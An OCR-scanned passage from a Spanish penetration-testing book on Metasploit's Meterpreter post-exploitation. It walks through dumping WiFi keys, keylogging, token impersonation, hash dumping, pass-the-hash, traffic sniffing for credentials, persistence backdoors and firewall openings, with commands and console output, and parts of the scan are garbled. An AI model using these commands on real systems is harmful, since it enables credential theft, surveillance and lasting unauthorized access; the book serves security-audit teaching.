almacenadas, este hecho significa que, generalmente, en algún momento la máquina vulnerada se
ha conectado a dichas redes.
</WLANProfile>
Profile Name: WL.AN AA
<?xml version="l.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/vl">
<name>WLAN AA</name>
<SSIDConfig>
<SSID>
<heX>574C4 tl41</heX>
<name>WLAN .</name>
</55!0>
</55IDConfig>
<connectionType>ESS</connectionType>
<connectionMode>aut0</connectionMode>
<M5M>
<security>
<authEncryption>
<authentication>open</authentication>
<encryption>WEP</encryption>
<useOneX>false</useOneX>
Fig 4.31: Volcado de información sensible de redes wireless.
Por último, también se puede realizar esta operativa a través de la línea de comandos de la máquina
vulnerada. Para abrir una línea de comandos en Meterpreter se ejecuta el comando shell y se escribe
•••
Capítulo IV Meterpreter & Post-Explotation lfJI
el comando netsh wlan show profile para recuperar la información de las redes wireless configuradas
en la máquina vulnerada. Se recomienda redirigir esa salida a un archivo y mediante el uso del
comando download obtener dicho archivo. También se puede ejecutar la instrucción netsh wlan
export profile folder =. key =elear, con la cual se hace un volcado de los perfiles wireless a ficheros
XML en la ruta especificada en el parámetrofolder. La contraseña se devuelve en texto plano.
Capture Scripts
Este tipo de scripts proporcionan funcionalidades para realizar capturas de las pulsaciones de teclado.
En otras palabras, se activa un keylogger en la máquina vulnerada. Como ejemplo se presentan los
scripts post/windowslcapture/keylog_recorder y postlwindowslcapture/lockout_keylogger.
Parámetro Descripción
-m Este parámetro arranca el módulo exploit/multilhandler para la conexión inversa.
Proporciona múltiples PID para la inyección de Meterpreter, los PIDs deben ir
-mp
separados por comas.
Proporciona múltiples direcciones IP las cuales esperarán la conexión inversa.
-rnr
Dichas direcciones IP deben ir separadas por comas.
•••
lf!I Metasploit para Pentesters
Parámetro Descripción
-p e espec1 1ca e puerto on e estan a a escuc a os an er.
-pt
Tabla 4.03: Parámetros del script multi_meter_inject.
meterpreter > run multi meter inject -mp 668 -mr 192.168.1.40,192.168.l.41 -p 5555
l•J creating a reverse iñeterpreter stager: LHOST=l92.168.1. 40 LPORT=5555
Starting Notepad.exe to house Meterpreter session.
Process created with pid 268
l*l Injecting meterpreter into process ID 268
l•J Allocated memory at address 0x009aeeee, for 299 byte stager
l•J Writing the stager into mernory...
successfullv iniected Meteroreter in to orocess: 268
Fig 4.32: Ejecución de multi_meter _inject.
Tras lanzar el script, si otro usuario o máquina se encontrase con un handler activo preparado
para recibir sesiones de Meterpreter se podría recoger tal y como se observa en la imagen.
Multiscript. Este script permite ejecutar distintos scripts en una sola instrucción. La
sintaxis es idéntica a los anteriores.
4. Módulos de Meterpreter
Meterpreter dispone de módulos extra que no se encuentran cargados al realizar la explotación.
Estos módulos añaden comandos a la sesión los cuales proporcionan mayor flexibilidad y potencia
al auditor en esta fase de post-explotación.
Cuando se añaden nuevos módulos a Meterpreter se puede utilizar el comando help para conocer
exactamente qué nuevos comandos hay disponibles en la sesión interactiva del payload. En este
apartado se estudiarán los siguientes módulos:
Espia. Este módulo proporciona funcionalidades para realizar capturas de pantalla.
Incognito. Este módulo proporciona funcionalidades con las que el auditor podrá ir
impersonalizando usuarios, e incluso administrar los usuarios reales que existen en la
máquina vulnerada .
•••
Capítulo IV. Meterpreter & Post-Explotation
lfD
Snif.fer. Este módulo proporciona funcionalidades con las que el auditor podrá comprobar
y aprovechar el entorno de red de la máquina vulnerada. Por ejemplo, se podrá conocer el
entorno de red y el tráfico que circula por éste de dicha máquina.
Para la carga o utilización de dichos módulos se dispone del comando load. También se podría
utilizar el comando use, ya que realiza la misma función, pero se encuentra en desuso.
El comando load dispone de dos parámetros, que son -h y -1. El primero proporciona la ayuda
e información de uso del comando. El segundo en cambio devuelve un listado de los módulos
disponibles para ser cargados en Meterpreter.
Módulo: Espía
Para cargar el módulo espia se utiliza la siguiente instrucción en una sesión de Meterpreter load
espia. A continuación, si se ejecuta help se puede obtener el listado de comandos que proporciona el
nuevo módulo cargado. En este caso, el módulo espia proporciona un solo comando.
meternreter > I
Fig 4.35: Ejecución de screengrab sobre máquina vulnerada.
Módulo: Incognito
El módulo incognito es uno de los más interesantes, ya que simplifica mucho la labor de gestión
de usuarios y la impersonalización de éstos. Para cargar el módulo se debe ejecutar la siguiente
instrucción load incognito.
•••
lfJI Metasploit para Pentesters
OCncognito Commands
Command Description
add group user Attempt to add a user to a global group with all tokens
add-localgroup user Attempt to add a user to a local group with all tokens
add-user - Attempt to add a user with all tokens
impersonate token Impersonate specified token
list tokens List tokens available under current user context
snarf hashes Snarf challenge/response hashes for every token
meteroreter >
Fig 4.36: Comandos aportados por el módulo incognito.
El comando list_tokens permite listar y enumerar los usuarios y grupos que existen en el equipo
vulnerado. Para listar los usuarios se debe ejecutar la siguiente instrucción list_tokens -u, mientras
que para el listado de los grupos se debe ejecutar esta otra: list_tokens -g.
•••
Capítulo IV. Meterpreter & Post-Explotation lf+i
e e reter > list_tokens -u
elegation Tokens Available
AlJTiiORITY\Servicio de red
AlJTiiORITY\SERVICIO LOCAL
AlJTiiORITY\SYSTEM
RUEBAS-01760CC\hacked
11personation Tokens Available
AUTHORITY\ANONYMOUS LOGON
eter rete > list_tokens -g
elegation Tokens Available
Todos
UILTIN\Administradores
UIL TIN\Usuarios
AUTHOR!TY\Servicio de red
AUTHORITY\SERVICIO LOCAL
RUEBAS-91760CC\Ninguno
mpersonation Tokens Available
o tokens available
Fig 4.38: Listando tokens de la máquina vulnerada.
El comando snarf_ hashes permite capturar los hashes de sesiones SMB, su sintaxis es snarf_ hashes
<host>.
•••
Fig 4.39: Configuración del módulo auxiliarylserverlcapturelsmb.
Mili Metasploit para Pentesters
Es importante configurar el módulo correctamente, ya que en caso contrario no se podrán obtener las
credenciales de esta forma. El servidor dispone de unas opciones interesantes como son la creación
de ficheros para herramientas como Cain, y uno de los más famosos crackeadores John the ripper.
En la prueba de concepto se configura para que se capturen los hashes y además se creen archivos
compatibles con estas herramientas para su posible crackeo más adelante.
Una vez se configura el servidor SMB se debe volver a la sesión de Meterpreter donde se ejecuta el
comando snarf_hashes, siempre y cuando el módulo incognito se encuentre cargado. El comando
snarf_hashes se debe ejecutar apuntando a la dirección IP dónde se debe enviar la información con
los hashes.
Módulo: Sniffer
Este módulo añade funcionalidades de red a la máquina vulnerada. El auditor podrá realizar capturas
de red a través de la máquina remota. Además, se podrán gestionar las interfaces y conocer mejor de
esta manera el entorno de la red en la que se encuentra la máquina vulnerada. Un ejemplo interesante
es la posibilidad de que dicha máquina vulnerada disponga de varias interfaces, e incluso, que esté
conectada a un segmento de red, a la que a priori, el auditor no tenga conectividad. De este modo,
se puede llegar a segmentos de red que antes no se podía. El módulo sniffer tiene una serie de
comandos, tal y como se puede ver en la imagen.
•••
Capítulo IV Meterpreter & Post-Explotation
•fil
Command Description
El comando sniffer_stop permite detener el sniffer en la máquina remota, pero la información que
se encuentra en el buffer no se pierde. Ahora el auditor debería elegir entre descargar lo capturado o
liberar el buffer. La sintaxis es sencilla: sniffer_stop <interfaz de red>.
El comando sniffer_dump permite descargar el contenido del buffer, es decir las capturas que se han
realizado, a un fichero PCAP. Esta utilidad es realmente interesante y se puede lograr información
valiosa a través de ella. La sintaxis es la siguiente: sniffer_dump <interfaz de red> <nombre archivo
PCAP>.
•••
ifl:j Metasploit para Pentesters
de tráfico para poder visualizar información interesante, como por ejemplo, cookies, credenciales de
protocolos no seguros, archivos mediante su reconstrucción, etcétera.
El punto de partida es una sesión de Meterpreter la cual el auditor ha obtenido una vez que ha
realizado la explotación en la fase previa. A continuación se detallan las máquinas y los roles de este
escenario:
El auditor dispone de una máquina con BackTrack 5.
La máquina vulnerada ejecuta un sistema operativo Windows XP SP3.
El usuario víctima realizará conexiones a varias páginas de Internet. Además, intentará
loguearse en un servicio de FTP.
En primer lugar el auditor ejecuta el comando load snif.fer, para cargar dicho módulo en la sesión
de Meterpreter. Después, ejecuta el comando snif.fer_interfaces para comprobar qué interfaces
hay disponibles en la máquina vulnerada. Generalmente, se encontrará con una única interfaz con
conexión a una red, pero puede haber sorpresas y encontrarse una máquina con varias interfaces,
cada una a un segmento distinto de red.
Tras listar las interfaces de red, se debe lanzar el snif.fer en la máquina vulnerada. P ara ello, se
ejecuta la siguiente instrucción: snif.fer_start <interfaz de red>. En estos momentos todo el tráfico
que pasa por la máquina vulnerada está siendo capturado en remoto.
En este instante el auditor debe esperar un tiempo a que la víctima genere suficiente tráfico interesante.
P uede ser que la muestra que el auditor recoja no tenga información sensible o comprometedora,
pero sí le sirve para entender y conocer todos los protocolos que se están utilizando en esa red.
Después de esperar un tiempo, se procede a la detención del snif.fer y a la descarga del archivo
PCAP que se genera por el tráfico de la red. En realidad, no es imprescindible detener el snif.fer, se
puede descargar el archivo PCAP y seguir capturando tráfico. Este hecho es interesante para poder
segmentar todo el tráfico en distintos ficheros.
Una vez que se dispone del archivo PCAP en la máquina del auditor se procede a su análisis. En esta
prueba de concepto se buscará tráfico HTTP, FTP y alguna imagen que la víctima haya visualizado.
•••
Capítulo IV Meterpreter & Post-Explotation l•P
Para ello, se utilizará la herramienta Wireshark, aunque existen otras herramientas que automatizan
el proceso de búsqueda de esta información.
-----
�rame 2299: 980 bytes on wire (7840 bits), 980 bytes captured (7840 bits)
.
:±: Ethernet II, Src: Cadmusco b7:f2:08 (08:00:27:b7:f2:08), Dst: Zygateco_ce:c6:la ( 00:02:cf: e
};; Internet Protocol, Src: 192.168.1.35 (192.168. l. 35), Dst: 62.212.82.199 (62.212.82.199)
})Transmission Control Protocol, Src Port: carrius-rshell (1197), Dst Port: http (80), Seq: �
+J¡Hy�rtext Transrer Protocol
::;;J Line-based text data: application/x·www-form-urlencoded
emailAddress=metasploit%40flu&password=l23abc.
•••
•Ni• Metasploit para Pentesters
3;J Frame 2372: 67 bytes on wire (536 bits), 67 bytes captured (536 bits)
CtJ Ethernet II, Src: CadmusCo_b7:f2:08 (08:90:27:b7:f2:08), Dst: Zygateco_ce:c6:la (90:92:cf:
'±i Internet Protocol, src: 192.168.1.35 (192.168.1.35), Dst: 217.160.244.16 (217.169.244.16)
1] Transmission Contro� Protocol, Src Port: payrouter (1246), Dst Port: ftp (21), Seq: 18, Ac
:::] File Transfer Protocol (FTP)
El PASS 123abc\r\n
Request command: PASS
Request arg: 123abc
Fig 4.47: Búsqueda de credenciales en FTP a través del archivo PCAP.
Para la búsqueda de imágenes, por ejemplo GIF, existen filtros. El filtro que se utiliza para capturar o
recoger las imágenes es "image-gif". Una vez que se encuentre la imagen deseada se puede exportar
a bytes, donde el usuario deberá elegir la extensión que se quiere dar al archivo, tal y como puede
visualizarse en la imagen.
Filter: image-gif
No. Time Source Destination
2130 137.000000 62.212.82.199
2172 137.900000 74.125.239.237
00
2198 131.000000 74.125.239.250
2235 137.800909 74.125.230.230
2334 149.000009 74.125.230.237
2336 149.000000 74.125.230.230
Screen width: 30
Screen height: 150
(±) Global settings: (Global color table present) (
Background color index: 255
Global color map: f5da8bfcebe9686a6a9594956783b
•••
Capítulo IV Meterpreter & Post-Explotation
'"'
5. Pass the hash
Hoy en día, las empresas y grandes organizaciones utilizan la misma técnica para recordar las
credenciales y la repetición de éstas. Es realmente interesante observar como en un departamento
con muchas máquinas, la cuenta de administrador tiene unas credenciales iguales en todas ellas.
¿Por qué se repiten? Es fácilmente entendible que si se disponen de 1000 máquinas, proporcionar
1000 contraseñas de administrador distintas y poder llevar un inventario no sería tarea sencilla.
También hay que visualizar la otra parte del asunto y es que sería viable utilizar distintas cuentas
de administrador en función del departamento, por ejemplo. Otra acción no recomendable sería
asignar cuentas de administrador con contraseña ascendente. En definitiva es un problema complejo,
y una de las soluciones más utilizadas es la asignación de credenciales administrativas distintas por
departamento, con un responsable sobre dicha credencial.
Muchos administradores piensan que fortificando su credencial con alfanuméricos y gran longitud de
caracteres se evita un crackeo del hash. Este hecho es prácticamente cierto, ya que realizar cracking
de una contraseña con alfanuméricos y gran longitud podría llevar bastante tiempo. Aunque más
adelante se estudiará que en realidad depende del formato del hash.
•••
•PI Metasploit para Pentesters
no se puede descifrar? La respuesta es no, pero sí que es factible realizar comprobaciones hasta
encontrar la contraseña, es decir un proceso de fuerza bruta. Se pueden ir creando palabras en texto
plano, pasarlas mediante la función hash a su equivalente cifrado y comprobar si el resultado es
igual al que está almacenado en el fichero SAM. Si el resultado de la comparación fuese idéntico se
habría descubierto el valor en texto plano de la contraseña cifrada.
La estructura del fichero SAM se compone de la cuenta de usuario, el identificador de éste y de las
dos versiones de hash de los sistemas Windows, LM y NTLM.
Hay que recalcar las debilidades en este proceso. El máximo valor de caracteres que puede tener una
clave y su posterior cifrado LM son de 14 caracteres, pero como se ha mencionado anteriormente,
la contraseña se divide en dos bloques cifrados independientes. Este hecho hace pensar que se
puede realizar un proceso de fuerza bruta sobre una contraseña de 7 caracteres, lo cual simplifica
mucho dicho proceso, sobre todo referente al tiempo. Incluso hay más detalles negativos acerca del
algoritmo, como es que, al principio la contraseña del usuario es convertida a mayúsculas lo cual
implica que el charset o espacio de caracteres posible disminuye considerablemente.
NTLM
Es el sucesor de LM, proporciona mayor robustez y seguridad que el protocolo de autenticación LM.
NTLM dispone de una evolución como es NTLMv2 el cual se introdujo en Windows NT 4. O SP4,
compatible de forma nativa con Windows 2000 mejorando la seguridad de NTLM. Se consiguió
endurecer el protocolo contra ataques de suplantación y se añadió la posibilidad de utilizar un
servidor para autenticar al cliente .
•••
Capítulo IV. Meterpreter & Post-Explotation MU
El proceso de cracking de este tipo de protocolo de autenticación provoca un aumento exponencial
del tiempo, sobre todo si se utilizan más de 8 caracteres, mezclando mayúsculas, minúsculas,
números y caracteres especiales.
El punto de partida es la sesión de Meterpreter que tiene el auditor en la máquina vulnerada Windows
XP SP3. Mediante el uso del comando hashdump se puede obtener el listado de usuarios con los
hashes LM y NTLM.
•••
MU• Metasploit para Pentesters
En la imagen se puede visualizar como los hashes de los usuarios administrador, hacked o pepe son
idénticos. ¿Por qué ocurre esto? Es sencillo, las contraseñas de esos usuarios en texto plano son las
mismas. Otra de las debilidades de estos algoritmos es que no utilizan semilla o challenge que hagan
que la misma contraseña tenga distinto hash.
Variable Descripción
Dirección IP de la máquina a la que se quiere conectar para impersonalizar un
RHOST
usuario.
SHARE Recurso al que se quiere conectar.
SMBDomain Dominio para la autenticación.
SMBPass Password en formato hash <LMHASH>:<NTLMHASH>.
SMBUser Usuario al que se quiere impersonalizar.
Tabla 4.04: Variables del módulo exploit/windows/smb/psexec.
Exploit target:
Id Name
e Automatic
Se puede configurar, mediante la variable PAYLOAD, un payload distinto que Meterpreter, pero
para esta prueba de concepto se utilizará windows/meterpreterlreverse_tcp. Si no se especifica
•••
Capítulo IV Meterpreter & Post-Explotation
IP.i
payload, automáticamente se inyectará Meterpreter. Tras obtener una suplantación de usuario,
automáticamente se ejecuta elpayload en la máquina remota.
meterpreter >
Parámetro Descripción
-1 Lista las sesiones abiertas por Logon en el sistema.
Lista las sesiones abiertas y credenciales. Además, refresca cada 5
-r
segundos.
-s Sustituye las credenciales de la sesión en curso.
-d Elimina las credenciales de una sesión.
-1 Especifica el LUID.
-c Ejecuta una CMD con las credenciales específicas.
Tabla 4.05: Parámetros de la aplicación Windows Credentia/ Editor.
•••
IRI Metasploit para Pentesters
En la imagen se puede visualizar como utilizando una máquina Windows, el auditor puede cambiar
las credenciales con las que está logueado, con el objetivo de que cuando se conecte con otra máquina
que tenga un usuario con las mismas credenciales se autentique correctamente, sin necesidad de
conocer la contraseña.
¡(;: '\Documents and !;ettings'\pepe'\EscPitorio'\i,ce_ul_l >1-,ce.exe -s AdministPadop: ,-,ee
�C: 8?351?2C3A??D2C6AAD3B435B51404EE: 512B9900999?C3B5588CAFAC9C0AE969
�ICE ui.2 (l-lindo1,1s Credentials Editop) - (e) 2010,2011 Amplia Secm•ity - by Hei-na
n Ochoa (hePnan@ampliasecm•ity.com)
�se -h fop help.
:Changing HTLM c1•edentials of cm•pent logon session (000003E?h) to:
Use1•name: Administ1•ado1•
µomain: wee-PC
J.,MHash: 87351?2C3A??D2C6AAD3B435B51404EE
HTHash: 512B9900999?C3B5588CAFAC9C0AE969
HTLM cPedentials successfully changed!
:C: '\Documents and Settin s'\ e e'\EscPitoPio'\1,,ce_u1_2 >
Fig 4.52: Suplantación de credenciales en memoria con Windows Credential Editor.
Por ejemplo se puede ejecutar la orden \\<dirección IP> o \\<dirección IP>\C$, donde la dirección IP
es la máquina objetivo y si las credenciales de los usuarios son iguales, automáticamente se accederá
al recurso.
•••
Capítulo IV Meterpreter & Post-Explotation
IUI
PSTools de Sysinternals
La suite PSTools de Sysinternals proporciona un conjunto de herramientas que permiten la
administración de sistemas Windows. Este kit se puede descargar de la siguiente URL http://technet.
microsoft. com/es-es/sysinternals/bb896649. aspx.
Si desde Meterpreter se sube alguna de estas herramientas a la máquina remota, puede suceder
que si dicha máquina dispone de una solución antivirus, se alerte al usuario víctima de una posible
amenaza. Algunas de las aplicaciones de PSTools son calificadas de malware de administración
remota.
•••
IN:• Metasploit para Pentesters
6. Pivoting
Esta técnica ayuda al auditor a llegar a máquinas de la organización a las que a priori no tiene
conectividad. Una vez que se dispone de una máquina vulnerada, ésta puede abrir la puerta a otras
que, por alguna razón, no tienen conectividad con la máquina del auditor. En definitiva el pivoting
ayuda al auditor a intentar ganar acceso a máquinas con las que no se tiene conectividad directa, pero
sí a través de otra máquina vulnerada previamente.
En algunos casos, también se define como pivoting la posibilidad de utilizar la técnica de Pass the
hash para realizar pivoting, aunque se tenga conectividad con la máquina objetivo. Como se explicó
anteriormente, puede que la máquina vulnerable y la máquina objetivo compartan algún tipo de
credencial o hash, y si se vulnera una máquina, se puede utilizar dicha información para acceder a
la máquina objetivo.
Generalmente, se puede describir un procedimiento para utilizar la técnica de pivoting mediante una
serie de pasos. Pero hay que tener en cuenta, que puede haber ocasiones en las que dependiendo de
la experiencia y los conocimientos del auditor para realizar pequeñas variaciones, es posible que la
técnica mejore los resultados obtenidos.
7. Persistencia
Una vez que se tiene acceso a una máquina vulnerada puede resultar muy interesante conseguir que
este acceso sea indefinido, en la medida de lo posible. Meterpreter dispone de varios métodos para
conseguir crear una puerta trasera en el equipo vulnerado.
Generalmente, con herramientas como Netcat se puede publicar una shell en un puerto determinado
de la máquina víctima, e incluso hacer que este proceso se inicie automáticamente en cada arranque
de la máquina. Este procedimiento es bastante sencillo, pero dispone de un problema y es la conexión
directa.
Como se ha podido estudiar con el caso de los payloads también se dispone de conexión inversa y
directa, como en los troyanos. La conexión inversa proporcionará al atacante o auditor la posibilidad
•••
Capítulo IV Meterpreter & Post-Explotation
•NI
de que sea la máquina vulnerada la que se conecte a la máquina atacante cuando sea posible. De
este modo se evitan algunos sistemas de protección, como por ejemplo unjirewall. Aunque hay que
pensar que si la máquina vulnerada bloquea las peticiones salientes, hecho muy poco común, podría
haber problemas con la conexión inversa.
En este apartado se comentarán los scripts metsvc y persistence, que son dos opciones que
proporciona Meterpreter para asegurar, en la medida de lo posible, que se podrá volver a utilizar una
sesión de Meterpreter en la máquina vulnerada cuando el auditor lo necesite.
Para ejecutar metsvc se utiliza la instrucción run metsvc. Esta acción creará un servicio en la máquina
vulnerada, el cual quedará a la escucha de peticiones. En las imágenes referentes a la máquina
remota, se puede visualizar como existe un proceso denominado metsvc, y como el puerto 31337 se
encuentra abierto.
&..._,.l. "C.l•CJl•,U, ., <t...,•LoUU,I 'CJ'•,U,a"C.l•<t...,•<t..., J..I.I.U.l.4.l'IAl'l'-1
•••
''"' Metasploit para Pentesters
6.544 KB
wuauclt.exe SYSTEM 00
metsvc.exe SYSTEM 00 1.572 KB
ctfmon.exe Administrador 00 2.996 KB
VBoxTray.exe Administrador 00 2.544 KB
explorer.exe Administrador 00 13.396 KB
spoolsv.exe SYSTEM 00 4.380 KB
svchost.exe SYSTEM 00 3.268 KB
svchost.exe SERVICIO LOCAL 00 6.660 KB
svchost.exe Servicio de red 00 3.424 KB
svchost.exe SYSTEM 00 21.100 KB
svchost.exe Servicio de red 00 3.988 KB
svchost '""- SYSTEM nn 4.512 <'B
Fig 4.57: Listado de procesos remotos con metsvc presente.
Una vez que se tiene instalado el servicio en la máquina remota, se utilizará una shell sobre la
máquina vulnerada para ejecutar la instrucción que abrirá el puerto en elfirewall, para las conexiones
entrantes.
Para abrir una línea de comandos en Meterpreter sobre el equipo remoto se ejecuta la instrucción
shell. En la línea de comandos se debe ejecutar la instrucción netsh firewall add portopening TCP
31337 metsvc. De este modo elfirewall de Windows, dejará pasar estas peticiones y se podrá conectar
con metsvc de manera remota.
Ahora hay que probar la conectividad. Sin cerrar la sesión de Meterpreter, se vuelve a la msfconsole
por medio del comando background. Hay que utilizar el módulo exploitlmulti/handler que no sólo
se utiliza para recibir conexiones, sino también para crearlas, es decir conexiones directas. Mediante
el uso de la instrucción use exploit/multi/handler en msfconsole se carga el módulo.
�>use exploit/multi/handler
� exploit(handler) > set PAYLOAD windows/metsvc-bind-tcp
PAYLOAD => windows/metsvc bind tcp
� exploit(handler) > set RHOST 192.168.0.60
RHOST => 192.168.0.69
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit
[*J Starting the payload handler...
l*l Started bind handler
{*J Meterpreter session 2 opened (192.168.9.59:48279 -> 192.168.9.69:31337) at 2912-08-31 16:57:2
1 +a2ee
•••
Fig 4.59: Configuración módulo exploit/multilhandler para conexión con metsvc.
Capítulo [V. Meterpreter & Post-Explota tion
'"'
La configuración de dicho módulo es sencilla, se debe utilizar el payload windowslmetsvc_bind_tcp,
un payload especial de este recurso. Como se visualiza en la imagen anterior la configuración es
realmente básica, tal y como se han ido aprendiendo en este libro.
Es importante recalcar que hay que cambiar el puerto en la configuración, la variable LPORT debe
tener un valor de 31337, que es el puerto por donde se realiza la conexión con metsvc. Tras la correcta
ejecución de dicha conexión, se obtiene una sesión de Meterpreter. Para comprobar totalmente que
el servicio se encontrará levantado tras el reinicio de la máquina vulnerada, se recomienda al lector
que lo compruebe en su laboratorio.
Parámetro Descripción
-A Automáticamente se configura multi/handler para conectar con el agente.
-S Automáticamente arranca el agente como un servicio al iniciar el sistema.
-U El agente intenta conectar cuando se inicia sesión.
-X El agente intenta conectar cuando se inicia el sistema.
Especifica el payload que se va a utilizar, por defecto es windowslmeterpreter/
-P
reverse_tcp.
-T Especifica la plantilla del ejecutable para utilizar.
Especifica el número de segundos que deben pasar entre cada intento de conexión
-i
por parte del agente.
Especifica el puerto de la máquina del atacante donde se esperará a recibir la
-p conexión.
Especifica la dirección IP a la que se conectará el agente, es decir, la dirección IP
-r
del atacante.
Tabla 4.06: Parámetros del script persistence.
•••
lltl Metasploit para Pentesters
En la imagen se puede visualizar como se lanza el script persistence con la siguiente configuración:
El agente instalado en la máquina vulnerable intentará conectar cuando se inicie el sistema
y cuando se inicie la sesión.
Realizará intentos de conexión cada 60 segundos..
Intentará conectarse al puerto 4444 en la dirección IP 192.168.0.59
¿Cómo se recibe la conexión por parte del agente? Se utilizará exploit/multilhandler tal y como se ha
realizado en casos anteriores. La configuración del módulo es la habitual, es decir payload windows!
meterpreter/reverse_tcp o el que se haya configurado al agente con el parámetro -P, la dirección IP
de la máquina del atacante asignada a la variable LHOST y el puerto en la variable LPORT.
Ahora toca esperar a que la máquina vulnerada se encienda, en el caso de que se encontrase apagada,
o de que transcurran los segundos de reintento de conexión facilitados en el parámetro -i en la
configuración del agente.
•••
Fig 4.62: Conexión recibida por multilhandler del agente de persistence.
Capítulo IV. Meterpreter & Post-Explotation ''"
8. Migración a un proceso
Cuando se realiza la fase de explotación y se consigue introducir un payload en la memoria de la
máquina víctima, se produce la vulneración de un proceso. En otras palabras, un payload, como
por ejemplo Meterpreter se inyecta en un proceso de la máquina haciéndose pasar por uno de ellos,
como por ejemplo el típico notepad.exe o svchost.exe.
Muchos de los exploits disponen de la automigración, con la que nada más conseguir el acceso a la
máquina vulnerada se migran a otro proceso. Esto se especifica con posibilidad de AutoRunScript,
donde se especifica la orden que se debe ejecutar al conseguir la explotación. ¿Dónde se localiza
AutoRunScript? Cuando se encuentre el módulo del exploit cargado se puede utilizar el comando
show advanced para listar las opciones avanzadas del módulo. Entre dichas opciones se encuentra
AutoRunScript.
meterpreter >
[*] Session ID 5 (192.168.1.40:4444 -> 192.168.1.35:1424) processing AutoRunSeript •multi consol
e command -re /root/pruebaAutoRun.rc•
f*l Running Command List ...
[*} Running eommand run cheekvm
[*] Checking if target is a Virtual Machine
[*] This is a Sun VirtualBox Virtual Machine
[*] Running command run post/windows/manage/migrate
[*l Running module against PRUEBAS-01760CC
[*) Current server process: svchost.exe (1112)
[*I Spawning notepad.exe process to migrate to
� Migrating to 1188
,_ 'Sueeessfully migrated to proeess 1100
meterpreter >
•••
'"' Metasploit para Pentesters
Una opción muy interesante para AutoRunScript es la posibilidad de preparar un archivo RC, de
automatización y ejecutar la instrucción set AutoRunScript multi_console_command -re <ruta
fichero RC>. En el interior de dicho archivo RC deberían encontrarse todas las órdenes que se
quieren ejecutar, por ejemplo run migrate, run checkvm, etcétera. Siendo una instrucción cada línea
del fichero RC.
Migrate proporciona migración a otros procesos en cualquier momento. Se puede ejecutar sin
parámetros por lo que migrará a un proceso con nombre notepad por ejemplo, con un parámetro
indicando el PID al que se quiere migrar. Puede ocurrir que al ejecutar migrate se obtenga una
denegación en la migración. Esto sucede debido a que no se tienen privilegios sobre el proceso al
que se quiere migrar, para solucionar esto se debería realizar una escalada de privilegios como se ha
estudiado en este capítulo.
En la imagen se puede visualizar como al principio el auditor tenía como identidad el usuario
"Administrador". Al intentar realizar una migración a un proceso perteneciente a System, se produce
el error. Para elevar privilegios, en una máquina Windows XP SP3, se utiliza el comando getsystem.
Al conseguir los privilegios necesarios, se puede llevar a cabo la migración al proceso 1400, que era
el primer objetivo.
Además, se puede imaginar el escenario en el que se quieran capturar las pulsaciones o entradas de
los procesos, por ejemplo un notepad. La funcionalidad de keyscan, ya comentada anteriormente en
este capítulo, ayuda a recoger la información que, por ejemplo la víctima teclea en su máquina. Otro
ejemplo válido sería la captura de pulsaciones del navegador web de la víctima.
Para capturar las entradas o pulsaciones de un proceso concreto se utiliza el comando keyscan_start.
Antes de parar el keyscan se debe volcar el contenido mediante el uso del comando keyscan_dump .
•••
Capítulo IV Meterpreter & Post-Explotation
9.Scraper
Scraper es un script que permite realizar una recogida de información con partes sensibles de la
estructura de un sistema operativo Windows. Scraper se encarga de recolectar información básica
del equipo como son los usuarios, la información que proporciona el comando systeminfo, enumerar
los recursos compartidos de la máquina, volcado de usuarios y hashes de la misma, conexiones
activas y estadísticas de éstas, variables de entorno, grupos, servicios del sistema, etcétera. Todas
estas funcionalidades realmente ya se habían estudiado en este capítulo.
Lo que realmente diferencia a scraper de otros scripts es la recogida y descarga de partes o árboles
del registro. Por ejemplo, scraper realiza una exportación en la máquina vulnerada de HKCU (el
árbol del registro de Curren! User), para después descargarlo automáticamente a la máquina del
atacante. Realiza el mismo proceso para HKLM, HKCC, HKCR y HKU. Estos ficheros de extensión
REG que se descargan pueden ser analizados a posteriori en la máquina del auditor con tranquilidad.
¿Dónde se almacenan los archivos que automáticamente genera scraper? La ruta por defecto es
$HOME!msf4/logs/scripts!scraper/<dirección IP>. En esta ruta se pueden visualizar una serie de
archivos con nombres identificativos de la información recogida por scraper.
•••
lid Metasploit para Pentesters
Este comando dispone de varios parámetros interesantes, pero el que proporciona la posibilidad de
pasar de un payload cualquiera a un Meterpreter es el parámetro -u. Tras ejecutar dicha acción se
procede a la subida del stager, y una vez finalizada la subida, se procede a la ejecución y obtención
de un Meterpreter.
Id Type Information
Connection
7 shell windows Microsoft Windows XP [Versi n 5.1.2600) (C) Copyright 1985-2991 Hic
rosoft Cor... 192.168.0.63:4444 -> 192.168.0.62:1561 (192.168.0.62)
9 meterpreter x86/win32 NT AUTHORilY\SYSTEM@ PRUEBAS-01760CC
192.168.8.63:4444 -> 192.168.9.62:1576 (192.168.0.62)
Fig 4.68: Actualización de un payload shell a Meterpreter mediante el comando sessions.
11. Railgun
Uno de los aspectos más complejos de este libro es la extensión Railgun. Esta extensión proporciona
al atacante con una sesión de Meterpreter la posibilidad de interactuar directamente con la API de
los sistemas Windows.
Esta interacción se realiza a través del comando irb de Meterpreter, el cual permite acceder a una
consola. En esta consola se puede escribir código directamente para la interacción con la API de
Windows, pudiendo cargar DLLs en la máquina comprometida y ejecutar su código después. Es
altamente recomendable visitar la URL http://msdn.microsofi.com/en-us/library/aa383749 para
conocer en profundidad las funciones que se encuentran en las DLLs que pueden utilizar.
•••
Capítulo IV Meterpreter & Post-Explotation llil
¿ Qué se puede hacer con Railgun? La respuesta es todo, ya que con Railgun se pueden invocar todas
las funciones de laAPI de Windows, lo cual proporciona un potencial y flexibilidad muy interesante.
Con Railgun se puede acceder directamente a los dispositivos que se encuentran disponibles en
la máquina vulnerada, acceder a la memoria, mapear dispositivos, leer y escribir de disco, y un
sinfín de posibilidades. Al principio el usuario puede ser reacio a la sintaxis de Railgun, pero es
recomendable aprenderlo ya que la potencia que proporciona es inigualable.
>> rg = client.railgun
�> #<Rex::Post: :Meterpreter::Extensions::Stdapi::Railgun: :Railgun:exeeeeeeebf2ed09@client=#<Sess
�on:meterpreter 192.168.1.35:1036 (192.168.1.35) "NT AUTHORITY\SYSTEM@ PRUEBAS-91760CC">, @dlls=
K}>
Fig 4.69: Ejecución de railgun en Meterpreter.
A continuación se exponen algunos códigos de ejemplos para que se pueda conocer la interacción
con la API de Windows y la potencia que Railgun ofrece.
# Carga Railgun y ejecuta una orden
rg = client.railgun
rg.shell32.IsUserAnAdmin
En este código se realiza la carga de Railgun, obteniendo una instancia. Además, se ejecuta una
orden a través de la DLL shell32. La función ejecutada es la pregunta IsUserAnAdmin, de la cual se
